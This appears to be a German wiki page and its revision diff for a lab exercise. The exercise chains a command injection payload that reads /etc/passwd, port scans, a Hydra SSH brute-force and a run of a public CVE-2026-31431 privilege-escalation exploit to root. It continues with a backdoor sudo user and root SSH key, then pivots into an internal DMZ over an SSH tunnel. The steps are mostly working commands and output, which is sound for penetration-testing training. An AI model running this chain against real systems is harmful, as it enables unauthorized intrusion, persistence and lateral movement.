Attack Chain Example: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 1: | Zeile 1: | ||
| − | == VulnSite: Command Injection → SSH Brute-Force → Copy Fail PrivEsc == | + | == VulnSite: Command Injection → SSH Brute-Force → Copy Fail PrivEsc → SSH-VPN Pivot == |
; Ziel | ; Ziel | ||
| − | : Diese Lab-Übung zeigt eine | + | : Diese Lab-Übung zeigt eine vollständige Angriffskette: Ausnutzung einer Web-Vulnerability (Command Injection) zur RCE, Netzwerk-Reconnaissance via Port-Scan, SSH Brute-Force mit Hydra gegen schwache Credentials, Privilege Escalation über CVE-2026-31431 (Copy Fail) zum root-Zugang, Stabilisierung des Zugriffs über einen persistenten Benutzer, und abschließend Aufbau eines SSH-VPN, um vom Angreifer-Host (Kali) direkt in das interne DMZ-Segment 10.0.10.0/24 zu pivotieren. |
=== Voraussetzungen === | === Voraussetzungen === | ||
| Zeile 67: | Zeile 67: | ||
; 3c. SSH-Login | ; 3c. SSH-Login | ||
| − | : Mit den | + | : Mit den gecrackten Credentials anmelden: |
<pre> | <pre> | ||
ssh -l christine -p 9922 192.168.16.213 | ssh -l christine -p 9922 192.168.16.213 | ||
| Zeile 77: | Zeile 77: | ||
; 4a. Exploit herunterladen | ; 4a. Exploit herunterladen | ||
| − | |||
<pre> | <pre> | ||
christine@victim:~$ git clone https://github.com/rootsecdev/cve_2026_31431/ | christine@victim:~$ git clone https://github.com/rootsecdev/cve_2026_31431/ | ||
| Zeile 93: | Zeile 92: | ||
[!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 0. | [!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 0. | ||
</pre> | </pre> | ||
| − | : Das Kernel-Subsystem <code>algif_aead</code> ist anfällig | + | : Das Kernel-Subsystem <code>algif_aead</code> ist anfällig, der Page-Cache kann manipuliert werden. |
; 4c. Copy Fail Exploit starten | ; 4c. Copy Fail Exploit starten | ||
| − | |||
<pre> | <pre> | ||
christine@victim:~/cve_2026_31431$ python3 exploit_cve_2026_31431.py --shell | christine@victim:~/cve_2026_31431$ python3 exploit_cve_2026_31431.py --shell | ||
| Zeile 105: | Zeile 103: | ||
* Findet Christines UID in <code>/etc/passwd</code>: <code>1006</code> | * Findet Christines UID in <code>/etc/passwd</code>: <code>1006</code> | ||
* Patcht die 4 Bytes der UID im Page-Cache: <code>1006</code> → <code>0000</code> | * Patcht die 4 Bytes der UID im Page-Cache: <code>1006</code> → <code>0000</code> | ||
| − | * Bestätigt Patch | + | * Bestätigt den Patch (Page-Cache liest jetzt <code>0000</code>) |
* Ruft <code>getpwnam('christine')</code> auf: libc sieht jetzt UID 0 | * Ruft <code>getpwnam('christine')</code> auf: libc sieht jetzt UID 0 | ||
| − | * | + | * Führt automatisch <code>su christine</code> aus |
; 4e. Passwort-Eingabe | ; 4e. Passwort-Eingabe | ||
| Zeile 117: | Zeile 115: | ||
; 4f. Root-Shell | ; 4f. Root-Shell | ||
| − | |||
<pre> | <pre> | ||
root@victim:~/cve_2026_31431# id | root@victim:~/cve_2026_31431# id | ||
uid=0(root) gid=1006(christine) groups=1006(christine) | uid=0(root) gid=1006(christine) groups=1006(christine) | ||
</pre> | </pre> | ||
| − | : UID ist 0 (root), GID bleibt 1006, weil nur | + | : UID ist 0 (root), GID bleibt 1006, weil nur das UID-Mapping in <code>/etc/passwd</code> gepatched wurde. |
| + | === Phase 5: Zugriff stabilisieren === | ||
| − | + | Der Copy-Fail-Zugriff ist flüchtig (Page-Cache-Patch). Für zuverlässigen, wiederholbaren root-Zugang wird ein persistenter sudo-Benutzer angelegt und anschließend ein key-basierter root-Login von Kali eingerichtet. | |
| − | ;User | + | |
| − | + | ; 5a. Persistenten sudo-User anlegen | |
| − | + | <pre> | |
| − | ; | + | root@victim:~/cve_2026_31431# /usr/sbin/useradd -ms /bin/bash -G sudo hacker |
| − | + | root@victim:~/cve_2026_31431# passwd hacker | |
| − | + | </pre> | |
| − | ;Pubkey von | + | |
| − | ; | + | ; 5b. Als hacker einloggen und root werden |
| − | + | <pre> | |
| − | ==SSH | + | ssh -p 9922 hacker@192.168.16.213 |
| − | + | hacker@victim:~$ sudo -i | |
| − | + | </pre> | |
| − | + | ||
| + | ; 5c. Kali-Pubkey für root hinterlegen | ||
| + | : Öffentlichen Schlüssel von Kali in <code>/root/.ssh/authorized_keys</code> auf victim eintragen. | ||
| + | |||
| + | ; 5d. Key-basierten root-Login von Kali prüfen | ||
| + | <pre> | ||
| + | ssh -p 9922 root@192.168.16.213 | ||
| + | </pre> | ||
| + | |||
| + | === Phase 6: SSH-VPN Tunnel in die DMZ === | ||
| − | + | Über die bestehende SSH-Strecke wird ein Layer-3-Tunnel aufgebaut und das gesamte DMZ-Segment <code>10.0.10.0/24</code> über den Pivot geroutet. Kali erreicht danach interne Dienste (LDAP, Mail) direkt, ohne Werkzeuge auf das Opfer nachladen zu müssen. | |
| + | {| class="wikitable" | ||
| + | ! Rolle !! Interface !! Adresse | ||
| + | |- | ||
| + | | Kali (Angreifer) || tun0 || 10.9.0.1/30 | ||
| + | |- | ||
| + | | victim (Pivot, root) || tun0 || 10.9.0.2/30 | ||
| + | |- | ||
| + | | victim || eth0 || 10.0.10.123/24 | ||
| + | |} | ||
| − | + | ; 6a. SSH für den Tunnel vorbereiten | |
| + | : Auf victim: | ||
| + | <pre> | ||
| + | PermitTunnel yes | ||
| + | </pre> | ||
| + | *sudo vim /etc/ssh/sshd_config | ||
| + | *systemctl restart ssh | ||
| − | + | ; 6b. Tunnel von Kali aufbauen | |
| + | *sudo ssh -w 0:0 -p 9922 root@192.168.16.213 | ||
| − | ; | + | ; 6c. Adressvergabe – auf dem Client (Kali) |
*sudo ip addr add 10.9.0.1/30 dev tun0 | *sudo ip addr add 10.9.0.1/30 dev tun0 | ||
*sudo ip link set tun0 up | *sudo ip link set tun0 up | ||
| − | + | ; 6d. Adressvergabe – auf dem Server (victim) | |
| − | |||
| − | |||
*sudo ip addr add 10.9.0.2/30 dev tun0 | *sudo ip addr add 10.9.0.2/30 dev tun0 | ||
*sudo ip link set tun0 up | *sudo ip link set tun0 up | ||
| − | + | ; 6e. Punkt-zu-Punkt-Verbindung testen | |
| − | |||
| − | |||
*ping -c 3 10.9.0.2 | *ping -c 3 10.9.0.2 | ||
| + | : Erst wenn dieser Ping funktioniert, machen Routing und NAT Sinn. | ||
| − | + | ; 6f. Routing und NAT auf dem Server (victim) | |
| − | |||
| − | |||
| − | |||
| − | |||
*echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-forward.conf | *echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-forward.conf | ||
*sudo sysctl --system | *sudo sysctl --system | ||
| + | *iptables -t nat -A POSTROUTING -s 10.9.0.0/30 -j MASQUERADE | ||
| + | *iptables -P FORWARD ACCEPT | ||
| − | ; | + | ; 6g. Route auf dem Client (Kali) |
| − | * | + | : Das DMZ-Segment über den Tunnel routen: |
| − | + | *sudo ip route add 10.0.10.0/24 via 10.9.0.2 | |
| + | |||
| + | ; 6h. Interne Hosts direkt von Kali erreichen | ||
| + | *nmap -sS 10.0.10.0/24 | ||
| + | *ldapsearch -x -H ldap://10.0.10.53 -b "dc=secure,dc=local" | ||
| + | : Der komplette DMZ-Bereich ist erreichbar, als säße Kali physisch im internen Netz. | ||
| − | == Automatisierung über die ssh-config == | + | === Automatisierung über die ssh-config === |
OpenSSH kann Adressvergabe und Routing selbst anstossen. | OpenSSH kann Adressvergabe und Routing selbst anstossen. | ||
| − | ;Datei anlegen | + | ; Datei auf Kali anlegen |
*vim ~/.ssh/config | *vim ~/.ssh/config | ||
<pre> | <pre> | ||
| − | Host vpn- | + | Host vpn-victim |
| − | HostName | + | HostName 192.168.16.213 |
| + | Port 9922 | ||
User root | User root | ||
Tunnel point-to-point | Tunnel point-to-point | ||
TunnelDevice 0:0 | TunnelDevice 0:0 | ||
PermitLocalCommand yes | PermitLocalCommand yes | ||
| − | LocalCommand ip addr add 10.9.0.1/30 dev tun0 && ip link set tun0 up && ip route add | + | LocalCommand ip addr add 10.9.0.1/30 dev tun0 && ip link set tun0 up && ip route add 10.0.10.0/24 via 10.9.0.2 |
ServerAliveInterval 30 | ServerAliveInterval 30 | ||
ServerAliveCountMax 3 | ServerAliveCountMax 3 | ||
| Zeile 195: | Zeile 219: | ||
Auf der Serverseite übernimmt ein Skript die Gegenseite: | Auf der Serverseite übernimmt ein Skript die Gegenseite: | ||
| − | ;Skript anlegen | + | ; Skript anlegen |
*sudo vim /usr/local/sbin/tun-up.sh | *sudo vim /usr/local/sbin/tun-up.sh | ||
| Zeile 204: | Zeile 228: | ||
</pre> | </pre> | ||
| − | ;Skript ausführbar machen | + | ; Skript ausführbar machen |
*sudo chmod 755 /usr/local/sbin/tun-up.sh | *sudo chmod 755 /usr/local/sbin/tun-up.sh | ||
| − | ;Verbindung starten | + | ; Verbindung starten |
| − | *sudo ssh vpn- | + | *sudo ssh vpn-victim |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
Version vom 13. August 2026, 14:20 Uhr
VulnSite: Command Injection → SSH Brute-Force → Copy Fail PrivEsc → SSH-VPN Pivot
- Ziel
- Diese Lab-Übung zeigt eine vollständige Angriffskette: Ausnutzung einer Web-Vulnerability (Command Injection) zur RCE, Netzwerk-Reconnaissance via Port-Scan, SSH Brute-Force mit Hydra gegen schwache Credentials, Privilege Escalation über CVE-2026-31431 (Copy Fail) zum root-Zugang, Stabilisierung des Zugriffs über einen persistenten Benutzer, und abschließend Aufbau eines SSH-VPN, um vom Angreifer-Host (Kali) direkt in das interne DMZ-Segment 10.0.10.0/24 zu pivotieren.
Voraussetzungen
- VulnSite läuft auf
victim.secure.local(192.168.16.213) - SSH auf Port 9922 via Port-Forward erreichbar (NAT: 192.168.16.213:9922 → 10.0.10.123:22)
- User
christineexistiert mit UID 1006 und schlechtem Passwort - Wordlist
bad-passwords.txtmit dem Passwort - Python3 für Copy Fail Exploit
- Kali Linux mit nmap, Hydra, SSH Client
Phase 1: Command Injection & Reconnaissance
- 1a. Web-Interface erkunden
- VulnSite unter
http://victim.secure.local/aufrufen,host.phpanklicken (Command Injection Modul).
- 1b. Vulnerability ausnutzen
- Im Eingabefeld folgende Payload eingeben:
xinux.de ; grep bash /etc/passwd
- Das Semikolon beendet den
host-Befehl und führt danachgrep bash /etc/passwdaus. Im Output sichtbar sind alle User mit Login-Shell, z.B.:
christine:x:1006:1006:Christine User:/home/christine:/bin/bash
- 1c. Erste Reconnaissance
- Notiere die Usernamen mit Shell (
/bin/bash,/bin/sh). Ziel-User:christine
Phase 2: Port-Scanning
- 2a. Standard-Portscan von Kali
- Von Kali aus scannen:
nmap -sS 192.168.16.213
- Zeigt die Standard-Services (22, 25, 143, 389, 443, 445, 465, 993) sowie dass Port 22 offen ist.
- 2b. All-Ports-Scan
- Suche nach zusätzlichen SSH-Instanzen:
nmap -sS 192.168.16.213 -p-
- Findet Port 9922 als offen (weitergeleitet an internes SSH auf 10.0.10.123:22).
- 2c. Service-Version
- Bestätige SSH auf 9922:
nmap -sV 192.168.16.213 -p 9922
- Zeigt
OpenSSH 9.2p1 Debian 2+deb12u7.
Phase 3: SSH Brute-Force mit Hydra
- 3a. Vorbereitung
- Stelle sicher, dass die Wordlist
bad-passwordsdas Passwort fürchristineenthält (in diesem Lab:112233).
- 3b. Hydra-Angriff
- Starte den Brute-Force:
hydra -l christine -P bad-passwords -s 9922 192.168.16.213 ssh
- Hydra findet schnell:
[9922][ssh] host: 192.168.16.213 login: christine password: 112233
- 3c. SSH-Login
- Mit den gecrackten Credentials anmelden:
ssh -l christine -p 9922 192.168.16.213
- Passwort:
112233 - Nach erfolgreicher Authentifizierung landet man in der
christine@victim:~$Shell.
Phase 4: CVE-2026-31431 (Copy Fail) Privilege Escalation
- 4a. Exploit herunterladen
christine@victim:~$ git clone https://github.com/rootsecdev/cve_2026_31431/ christine@victim:~$ cd cve_2026_31431/
- 4b. Vulnerabilität testen
- Zuerst Detector ausführen:
christine@victim:~/cve_2026_31431$ python3 test_cve_2026_31431.py
- Ausgabe sollte sein:
[!] VULNERABLE to CVE-2026-31431. [!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 0.
- Das Kernel-Subsystem
algif_aeadist anfällig, der Page-Cache kann manipuliert werden.
- 4c. Copy Fail Exploit starten
christine@victim:~/cve_2026_31431$ python3 exploit_cve_2026_31431.py --shell
- 4d. Exploit-Ablauf
- Der Exploit führt folgende Schritte aus:
- Findet Christines UID in
/etc/passwd:1006 - Patcht die 4 Bytes der UID im Page-Cache:
1006→0000 - Bestätigt den Patch (Page-Cache liest jetzt
0000) - Ruft
getpwnam('christine')auf: libc sieht jetzt UID 0 - Führt automatisch
su christineaus
- 4e. Passwort-Eingabe
- Der
su-Befehl fragt nach Christines Passwort:
Password:
- Eingabe:
112233(das gleiche SSH-Passwort)
- 4f. Root-Shell
root@victim:~/cve_2026_31431# id uid=0(root) gid=1006(christine) groups=1006(christine)
- UID ist 0 (root), GID bleibt 1006, weil nur das UID-Mapping in
/etc/passwdgepatched wurde.
Phase 5: Zugriff stabilisieren
Der Copy-Fail-Zugriff ist flüchtig (Page-Cache-Patch). Für zuverlässigen, wiederholbaren root-Zugang wird ein persistenter sudo-Benutzer angelegt und anschließend ein key-basierter root-Login von Kali eingerichtet.
- 5a. Persistenten sudo-User anlegen
root@victim:~/cve_2026_31431# /usr/sbin/useradd -ms /bin/bash -G sudo hacker root@victim:~/cve_2026_31431# passwd hacker
- 5b. Als hacker einloggen und root werden
ssh -p 9922 hacker@192.168.16.213 hacker@victim:~$ sudo -i
- 5c. Kali-Pubkey für root hinterlegen
- Öffentlichen Schlüssel von Kali in
/root/.ssh/authorized_keysauf victim eintragen.
- 5d. Key-basierten root-Login von Kali prüfen
ssh -p 9922 root@192.168.16.213
Phase 6: SSH-VPN Tunnel in die DMZ
Über die bestehende SSH-Strecke wird ein Layer-3-Tunnel aufgebaut und das gesamte DMZ-Segment 10.0.10.0/24 über den Pivot geroutet. Kali erreicht danach interne Dienste (LDAP, Mail) direkt, ohne Werkzeuge auf das Opfer nachladen zu müssen.
| Rolle | Interface | Adresse |
|---|---|---|
| Kali (Angreifer) | tun0 | 10.9.0.1/30 |
| victim (Pivot, root) | tun0 | 10.9.0.2/30 |
| victim | eth0 | 10.0.10.123/24 |
- 6a. SSH für den Tunnel vorbereiten
- Auf victim:
PermitTunnel yes
- sudo vim /etc/ssh/sshd_config
- systemctl restart ssh
- 6b. Tunnel von Kali aufbauen
- sudo ssh -w 0:0 -p 9922 root@192.168.16.213
- 6c. Adressvergabe – auf dem Client (Kali)
- sudo ip addr add 10.9.0.1/30 dev tun0
- sudo ip link set tun0 up
- 6d. Adressvergabe – auf dem Server (victim)
- sudo ip addr add 10.9.0.2/30 dev tun0
- sudo ip link set tun0 up
- 6e. Punkt-zu-Punkt-Verbindung testen
- ping -c 3 10.9.0.2
- Erst wenn dieser Ping funktioniert, machen Routing und NAT Sinn.
- 6f. Routing und NAT auf dem Server (victim)
- echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-forward.conf
- sudo sysctl --system
- iptables -t nat -A POSTROUTING -s 10.9.0.0/30 -j MASQUERADE
- iptables -P FORWARD ACCEPT
- 6g. Route auf dem Client (Kali)
- Das DMZ-Segment über den Tunnel routen:
- sudo ip route add 10.0.10.0/24 via 10.9.0.2
- 6h. Interne Hosts direkt von Kali erreichen
- nmap -sS 10.0.10.0/24
- ldapsearch -x -H ldap://10.0.10.53 -b "dc=secure,dc=local"
- Der komplette DMZ-Bereich ist erreichbar, als säße Kali physisch im internen Netz.
Automatisierung über die ssh-config
OpenSSH kann Adressvergabe und Routing selbst anstossen.
- Datei auf Kali anlegen
- vim ~/.ssh/config
Host vpn-victim
HostName 192.168.16.213
Port 9922
User root
Tunnel point-to-point
TunnelDevice 0:0
PermitLocalCommand yes
LocalCommand ip addr add 10.9.0.1/30 dev tun0 && ip link set tun0 up && ip route add 10.0.10.0/24 via 10.9.0.2
ServerAliveInterval 30
ServerAliveCountMax 3
Auf der Serverseite übernimmt ein Skript die Gegenseite:
- Skript anlegen
- sudo vim /usr/local/sbin/tun-up.sh
#!/bin/bash ip addr add 10.9.0.2/30 dev tun0 ip link set tun0 up
- Skript ausführbar machen
- sudo chmod 755 /usr/local/sbin/tun-up.sh
- Verbindung starten
- sudo ssh vpn-victim